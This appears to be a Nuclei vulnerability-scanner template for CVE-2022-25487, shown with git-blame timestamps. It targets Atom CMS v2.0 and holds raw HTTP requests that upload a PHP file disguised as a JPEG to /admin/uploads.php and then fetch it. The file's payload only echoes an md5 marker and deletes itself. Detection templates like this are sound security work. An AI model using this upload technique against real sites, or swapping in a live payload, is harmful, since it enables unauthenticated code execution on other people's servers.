2023-04-21 08:56:01 +00:00
|
|
|
id: CVE-2022-25487
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Atom CMS v2.0 - Remote Code Execution
|
|
|
|
author: theamanrawat
|
|
|
|
severity: critical
|
|
|
|
description: |
|
|
|
|
Atom CMS v2.0 was discovered to contain a remote code execution (RCE) vulnerability via /admin/uploads.php.
|
2023-09-27 15:51:13 +00:00
|
|
|
impact: |
|
|
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
|
2023-09-06 11:59:08 +00:00
|
|
|
remediation: Fixed in version Atom CMS v2.1
|
2023-04-21 08:56:01 +00:00
|
|
|
reference:
|
|
|
|
- https://packetstormsecurity.com/files/166532/Atom-CMS-1.0.2-Shell-Upload.html
|
|
|
|
- https://github.com/thedigicraft/Atom.CMS/issues/256
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-25487
|
2024-03-23 09:28:19 +00:00
|
|
|
- https://github.com/ARPSyndicate/cvemon
|
|
|
|
- https://github.com/shikari00007/Atom-CMS-2.0---File-Upload-Remote-Code-Execution-Un-Authenticated-POC
|
2023-04-21 08:56:01 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.8
|
|
|
|
cve-id: CVE-2022-25487
|
|
|
|
cwe-id: CWE-434
|
2024-05-31 19:23:20 +00:00
|
|
|
epss-score: 0.78706
|
|
|
|
epss-percentile: 0.98263
|
2023-09-06 11:59:08 +00:00
|
|
|
cpe: cpe:2.3:a:thedigitalcraft:atomcms:2.0:*:*:*:*:*:*:*
|
2023-04-21 08:56:01 +00:00
|
|
|
metadata:
|
2023-06-04 08:13:42 +00:00
|
|
|
verified: true
|
2023-09-06 11:59:08 +00:00
|
|
|
max-request: 2
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: thedigitalcraft
|
|
|
|
product: atomcms
|
2024-04-15 11:26:37 +00:00
|
|
|
tags: cve2022,cve,rce,atom,cms,unauth,packetstorm,intrusive,thedigitalcraft,fielupload
|
|
|
|
variables:
|
|
|
|
string: "CVE-2022-25487"
|
2023-04-21 08:56:01 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2023-04-21 08:56:01 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /admin/uploads.php?id=1 HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: multipart/form-data; boundary=---------------------------30623082103363803402542706041
|
|
|
|
|
|
|
|
-----------------------------30623082103363803402542706041
|
|
|
|
Content-Disposition: form-data; name="file"
|
|
|
|
|
|
|
|
|
|
|
|
-----------------------------30623082103363803402542706041
|
|
|
|
Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
|
|
|
|
Content-Type: image/jpeg
|
|
|
|
|
|
|
|
|
2024-04-15 11:26:37 +00:00
|
|
|
<?php echo md5("{{string}}");unlink(__FILE__);?>
|
2023-04-21 08:56:01 +00:00
|
|
|
-----------------------------30623082103363803402542706041--
|
|
|
|
- |
|
|
|
|
GET /uploads/{{filename}} HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
2024-04-15 11:26:37 +00:00
|
|
|
- '{{md5(string)}}'
|
2023-04-21 08:56:01 +00:00
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
name: filename
|
|
|
|
group: 1
|
|
|
|
regex:
|
2023-07-11 19:49:27 +00:00
|
|
|
- SET avatar = '(.*?)'
|
|
|
|
internal: true
|
2024-06-01 06:53:00 +00:00
|
|
|
# digest: 4a0a00473045022100a62df045c76e53bf8e6d631a87d8bf926e477a73cbc8494b2dcc7907e1e69ee1022052681e039ce72426d5d56584c8a0281f8e10794b22967d1474b0aefcaa6f2e3f:922c64590222798bb761d5b6d8e72950
|